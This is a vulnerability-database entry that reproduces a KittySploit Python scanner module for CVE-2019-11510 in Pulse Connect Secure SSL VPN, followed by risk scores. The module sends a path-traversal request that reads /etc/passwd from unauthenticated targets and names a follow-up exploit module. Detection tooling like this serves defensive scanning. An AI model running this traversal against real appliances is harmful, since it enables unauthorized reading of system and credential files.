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Pulse Connect Secure SSL VPN Arbitrary File Read Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated remote attackers can perform arbitrary file read on Pulse Connect Secure.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Pulse Secure Pulse Connect Secure (PCS) 8."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Pulse Connect Secure SSL VPN Arbitrary File Read Detection',
        'description': 'Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'packetstorm', 'cve2019', 'pulsesecure', 'lfi', 'kev', 'ivanti', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/pulse_secure_cve_2019_11510_file_read',
                ],
            },
        },
        'references': [
            'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html',
            'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-11510',
            'http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html',
            'http://packetstormsecurity.com/files/154231/Pulse-Secure-SSL-VPN-File-Disclosure-NSE.html',
        ],
        'cve': 'CVE-2019-11510',
    }

    def run(self):
        r = self.http_request(method="GET", path='/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="Pulse Connect Secure SSL VPN Arbitrary File Read detected",
                path='/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/',
            )
            return True
        return False

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05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.110
CVSS 39.9
EPSS0.99999
SSVC
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